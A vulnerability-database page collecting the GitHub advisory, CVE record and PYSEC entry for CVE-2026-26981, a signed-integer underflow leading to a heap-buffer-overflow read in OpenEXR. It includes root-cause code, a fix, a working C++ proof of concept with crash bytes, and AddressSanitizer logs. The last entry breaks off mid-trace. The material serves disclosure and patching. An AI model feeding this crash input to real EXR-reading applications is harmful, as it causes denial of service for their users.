Vulnerability-Lookup

GHSA-Q6VJ-WXVF-5M8C

Vulnerability from github – Published: 2026-04-06 17:51 – Updated: 2026-04-06 17:51

Summary

OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp

Details

Summary

A heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy.

Affected Version

OpenEXR main branch (commit at time of testing)
src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136

Root Cause

ImfContextInit.cpp:121-126:

int64_t stream_sz = s->size ();           // e.g., 21 (actual file size)
int64_t nend = nread + (int64_t)sz;       // e.g., 17 + 4096 = 4113
if (stream_sz > 0 && nend > stream_sz)
{
    sz = stream_sz - nend;                // 21 - 4113 = -4092 (signed)
}
// ...
memcpy (buffer, data, sz);               // sz is size_t → wraps to 0xFFFFFFFFFFFFF004

sz is of type size_t (unsigned), but stream_sz - nend yields a negative int64_t value. This negative value is implicitly converted to size_t, wrapping around to a value close to 2^64, which is then passed to memcpy causing a heap-buffer-overflow.

Suggested fix: sz = stream_sz - nend → sz = stream_sz - nread

Reproduce

Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.

PoC Code:

#include <cstdint>
#include <cstring>
#include <iostream>

#include <ImfMultiPartInputFile.h>
#include <ImfInputPart.h>
#include <ImfHeader.h>

OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER

class MemMapIStream : public IStream
{
public:
    MemMapIStream (const uint8_t* data, size_t len)
        : IStream ("poc_input")
        , _data (reinterpret_cast<const char*> (data))
        , _size (static_cast<int64_t> (len))
        , _pos (0)
    {}

    bool isMemoryMapped () const override { return true; }

    bool read (char c[], int n) override
    {
        int64_t avail = (_pos < _size) ? (_size - _pos) : 0;
        int64_t copy  = (static_cast<int64_t> (n) < avail) ? n : avail;
        if (copy > 0) memcpy (c, _data + _pos, copy);
        _pos += n;
        return _pos <= _size;
    }

    char* readMemoryMapped (int n) override
    {
        if (_pos + n > _size)
            throw IEX_NAMESPACE::InputExc ("read past end");
        const char* p = _data + _pos;
        _pos += n;
        return const_cast<char*> (p);
    }

    uint64_t tellg () override { return static_cast<uint64_t> (_pos); }
    void     seekg (uint64_t pos) override { _pos = static_cast<int64_t> (pos); }

    int64_t size () override { return _size; }

private:
    const char* _data;
    int64_t     _size;
    int64_t     _pos;
};

OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT

int main ()
{
    static const uint8_t crash_data[] = {
        0x76, 0x2f, 0x31, 0x01,
        0x02, 0x06, 0x00, 0x00,
        0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,
        0x20, 0x00, 0x00,
        0x53, 0x00, 0x00, 0x00
    };

    try
    {
        Imf::MemMapIStream stream (crash_data, sizeof (crash_data));
        Imf::MultiPartInputFile file (stream);
    }
    catch (const std::exception& e)
    {
        std::cout << "Exception: " << e.what () << "\n";
    }

    return 0;
}

PoC Input: https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link

ASAN Log

==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)
    #0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21
    #2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16
    #3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29
    #4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9
    #5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24
    #6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10
    #7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18
    #8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49
    #9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const&, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10
    #10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7
    #11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7
    #12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31
    #13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5
    #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5
    #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)

0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)
allocated by thread T0 here:
    #0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)

SUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy
==305348==ABORTING

Impact

DoS — Any application that opens a crafted EXR file will crash immediately
CWE-195 (Signed to Unsigned Conversion Error) → CWE-122 (Heap-based Buffer Overflow)
Affects any application using an IStream implementation where isMemoryMapped() returns true

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "OpenEXR"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.3.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "OpenEXR"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.0"
            },
            {
              "fixed": "3.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-195"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-06T17:51:37Z",
    "nvd_published_at": "2026-02-24T03:16:01Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`.\n\n## Affected Version\n\n- OpenEXR **main branch** (commit at time of testing)\n- `src/lib/OpenEXR/ImfContextInit.cpp`, lines 121\u2013136\n\n## Root Cause\n\n`ImfContextInit.cpp:121-126`:\n\n```cpp\nint64_t stream_sz = s-\u003esize ();           // e.g., 21 (actual file size)\nint64_t nend = nread + (int64_t)sz;       // e.g., 17 + 4096 = 4113\nif (stream_sz \u003e 0 \u0026\u0026 nend \u003e stream_sz)\n{\n    sz = stream_sz - nend;                // 21 - 4113 = -4092 (signed)\n}\n// ...\nmemcpy (buffer, data, sz);               // sz is size_t \u2192 wraps to 0xFFFFFFFFFFFFF004\n```\n\n`sz` is of type `size_t` (unsigned), but `stream_sz - nend` yields a negative `int64_t` value. This negative value is implicitly converted to `size_t`, wrapping around to a value close to `2^64`, which is then passed to `memcpy` causing a heap-buffer-overflow.\n\n**Suggested fix:** `sz = stream_sz - nend` \u2192 `sz = stream_sz - nread`\n\n## Reproduce\n\nBuild OpenEXR as static libraries with ASAN enabled, then compile the PoC below.\n\n**PoC Code:**\n\n```cpp\n#include \u003ccstdint\u003e\n#include \u003ccstring\u003e\n#include \u003ciostream\u003e\n\n#include \u003cImfMultiPartInputFile.h\u003e\n#include \u003cImfInputPart.h\u003e\n#include \u003cImfHeader.h\u003e\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER\n\nclass MemMapIStream : public IStream\n{\npublic:\n    MemMapIStream (const uint8_t* data, size_t len)\n        : IStream (\"poc_input\")\n        , _data (reinterpret_cast\u003cconst char*\u003e (data))\n        , _size (static_cast\u003cint64_t\u003e (len))\n        , _pos (0)\n    {}\n\n    bool isMemoryMapped () const override { return true; }\n\n    bool read (char c[], int n) override\n    {\n        int64_t avail = (_pos \u003c _size) ? (_size - _pos) : 0;\n        int64_t copy  = (static_cast\u003cint64_t\u003e (n) \u003c avail) ? n : avail;\n        if (copy \u003e 0) memcpy (c, _data + _pos, copy);\n        _pos += n;\n        return _pos \u003c= _size;\n    }\n\n    char* readMemoryMapped (int n) override\n    {\n        if (_pos + n \u003e _size)\n            throw IEX_NAMESPACE::InputExc (\"read past end\");\n        const char* p = _data + _pos;\n        _pos += n;\n        return const_cast\u003cchar*\u003e (p);\n    }\n\n    uint64_t tellg () override { return static_cast\u003cuint64_t\u003e (_pos); }\n    void     seekg (uint64_t pos) override { _pos = static_cast\u003cint64_t\u003e (pos); }\n\n    int64_t size () override { return _size; }\n\nprivate:\n    const char* _data;\n    int64_t     _size;\n    int64_t     _pos;\n};\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT\n\nint main ()\n{\n    static const uint8_t crash_data[] = {\n        0x76, 0x2f, 0x31, 0x01,\n        0x02, 0x06, 0x00, 0x00,\n        0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,\n        0x20, 0x00, 0x00,\n        0x53, 0x00, 0x00, 0x00\n    };\n\n    try\n    {\n        Imf::MemMapIStream stream (crash_data, sizeof (crash_data));\n        Imf::MultiPartInputFile file (stream);\n    }\n    catch (const std::exception\u0026 e)\n    {\n        std::cout \u003c\u003c \"Exception: \" \u003c\u003c e.what () \u003c\u003c \"\\n\";\n    }\n\n    return 0;\n}\n```\n\n**PoC Input:** https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link\n\n## ASAN Log\n\n```\n==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)\n    #0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21\n    #2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16\n    #3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29\n    #4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9\n    #5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24\n    #6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10\n    #7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18\n    #8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49\n    #9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const\u0026, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10\n    #10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const\u0026, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7\n    #11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream\u0026, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7\n    #12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31\n    #13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5\n    #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5\n    #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n    #21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\n0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)\nallocated by thread T0 here:\n    #0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n    #7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\nSUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy\n==305348==ABORTING\n```\n\n## Impact\n\n- **DoS** \u2014 Any application that opens a crafted EXR file will crash immediately\n- **CWE-195** (Signed to Unsigned Conversion Error) \u2192 **CWE-122** (Heap-based Buffer Overflow)\n- Affects any application using an `IStream` implementation where `isMemoryMapped()` returns `true`",
  "id": "GHSA-q6vj-wxvf-5m8c",
  "modified": "2026-04-06T17:51:37Z",
  "published": "2026-04-06T17:51:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26981"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AcademySoftwareFoundation/openexr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp"
}

CVE-2026-26981 (GCVE-0-2026-26981)

Vulnerability from cvelistv5 – Published: 2026-02-24 02:26 – Updated: 2026-02-24 20:03

Title

OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp

Summary

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`. Versions 3.3.7 and 3.4.5 contain a patch.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-02-24 19:50 UTC

CWE

CWE-195 - Signed to Unsigned Conversion Error

Assigner

GitHub_M mitre root Scorecard

References

3 references

URL	Tags
https://github.com/AcademySoftwareFoundation/open…	x_refsource_CONFIRM
https://github.com/AcademySoftwareFoundation/open…	x_refsource_MISC
https://github.com/AcademySoftwareFoundation/open…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
AcademySoftwareFoundation	openexr	Affected: >= 3.3.0, < 3.3.7 Affected: >= 3.4.0, < 3.4.5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-26981",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-24T19:50:34.463990Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-02-24T20:03:54.667Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "openexr",
          "vendor": "AcademySoftwareFoundation",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.3.0, \u003c 3.3.7"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.4.0, \u003c 3.4.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`. Versions 3.3.7 and 3.4.5 contain a patch."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-195",
              "description": "CWE-195: Signed to Unsigned Conversion Error",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-24T02:26:16.659Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c"
        },
        {
          "name": "https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef"
        },
        {
          "name": "https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8"
        }
      ],
      "source": {
        "advisory": "GHSA-q6vj-wxvf-5m8c",
        "discovery": "UNKNOWN"
      },
      "title": "OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-26981",
    "datePublished": "2026-02-24T02:26:16.659Z",
    "dateReserved": "2026-02-17T01:41:24.605Z",
    "dateUpdated": "2026-02-24T20:03:54.667Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

PYSEC-2026-2849

Vulnerability from pysec - Published: 2026-07-13 14:36 - Updated: 2026-07-13 16:05

Details

Summary

Affected Version

OpenEXR main branch (commit at time of testing)
src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136

Root Cause

ImfContextInit.cpp:121-126:

int64_t stream_sz = s->size ();           // e.g., 21 (actual file size)
int64_t nend = nread + (int64_t)sz;       // e.g., 17 + 4096 = 4113
if (stream_sz > 0 && nend > stream_sz)
{
    sz = stream_sz - nend;                // 21 - 4113 = -4092 (signed)
}
// ...
memcpy (buffer, data, sz);               // sz is size_t → wraps to 0xFFFFFFFFFFFFF004

Suggested fix: sz = stream_sz - nend → sz = stream_sz - nread

Reproduce

Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.

PoC Code:

#include <cstdint>
#include <cstring>
#include <iostream>

#include <ImfMultiPartInputFile.h>
#include <ImfInputPart.h>
#include <ImfHeader.h>

OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER

class MemMapIStream : public IStream
{
public:
    MemMapIStream (const uint8_t* data, size_t len)
        : IStream ("poc_input")
        , _data (reinterpret_cast<const char*> (data))
        , _size (static_cast<int64_t> (len))
        , _pos (0)
    {}

    bool isMemoryMapped () const override { return true; }

    bool read (char c[], int n) override
    {
        int64_t avail = (_pos < _size) ? (_size - _pos) : 0;
        int64_t copy  = (static_cast<int64_t> (n) < avail) ? n : avail;
        if (copy > 0) memcpy (c, _data + _pos, copy);
        _pos += n;
        return _pos <= _size;
    }

    char* readMemoryMapped (int n) override
    {
        if (_pos + n > _size)
            throw IEX_NAMESPACE::InputExc ("read past end");
        const char* p = _data + _pos;
        _pos += n;
        return const_cast<char*> (p);
    }

    uint64_t tellg () override { return static_cast<uint64_t> (_pos); }
    void     seekg (uint64_t pos) override { _pos = static_cast<int64_t> (pos); }

    int64_t size () override { return _size; }

private:
    const char* _data;
    int64_t     _size;
    int64_t     _pos;
};

OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT

int main ()
{
    static const uint8_t crash_data[] = {
        0x76, 0x2f, 0x31, 0x01,
        0x02, 0x06, 0x00, 0x00,
        0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,
        0x20, 0x00, 0x00,
        0x53, 0x00, 0x00, 0x00
    };

    try
    {
        Imf::MemMapIStream stream (crash_data, sizeof (crash_data));
        Imf::MultiPartInputFile file (stream);
    }
    catch (const std::exception& e)
    {
        std::cout << "Exception: " << e.what () << "\n";
    }

    return 0;
}

PoC Input: https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link

ASAN Log

==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)
    #0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
    #1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21
    #2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16
